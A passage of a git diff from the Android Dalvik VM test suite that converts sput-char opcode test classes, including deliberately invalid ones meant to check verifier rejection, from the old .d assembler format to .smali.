+
+.source "T_sput_char_1.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+.field protected static st_p1:C
+.field private static st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d
deleted file mode 100644
index ff47c26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_10.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_10
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_10.st_i1N C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali
new file mode 100644
index 0000000..1b8d905
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_10.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_10;->st_i1N:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d
deleted file mode 100644
index 6e23f44..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_11.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.TestStubs.TestStubFieldFinal C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali
new file mode 100644
index 0000000..b263b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_11.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d
deleted file mode 100644
index 8cb984f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_12.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_12
-.super java/lang/Object
-
-.field public static final st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_12.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali
new file mode 100644
index 0000000..4c33f94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_12.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_12;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
index 786f121..6ff35b5 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_char.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static char value = (char)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..69298c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:C
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-char v1, Ldot/junit/opcodes/sput_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali
new file mode 100644
index 0000000..2bf8593
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_13.smalis/T_sput_char_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/T_sput_char_13;
+.super Ljava/lang/Object;
+.source "T_sput_char_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-char v1, Ldot/junit/opcodes/sput_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d
deleted file mode 100644
index f682166..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_14.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_14
-.super dot/junit/opcodes/sput_char/d/T_sput_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_char/d/T_sput_char_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()C
-.limit regs 2
-
-       sget-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_p1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_p1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali
new file mode 100644
index 0000000..f53e67a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_14.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_14;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d
deleted file mode 100644
index cccb96b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_15.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_15
-.super dot/junit/opcodes/sput_char/d/T_sput_char_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_char/d/T_sput_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_pvt1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali
new file mode 100644
index 0000000..4d4ceef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_15.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_15;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d
deleted file mode 100644
index 22af6be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_17.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_17.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali
new file mode 100644
index 0000000..ae24941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_17.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d
deleted file mode 100644
index f1fbeb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_18.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali
new file mode 100644
index 0000000..7e4645e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_18.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d
deleted file mode 100644
index aa5f7d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_2.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_2
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali
new file mode 100644
index 0000000..b5b2122
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_2.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali
new file mode 100644
index 0000000..0858bcc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_char/d/T_sput_char_20;
+.super Ljava/lang/Object;
+.source "T_sput_char_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-char p0, Ldot/junit/opcodes/sput_char/d/T_sput_char_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d
deleted file mode 100644
index bdf6fe3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_21.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali
new file mode 100644
index 0000000..a252e1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_21.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
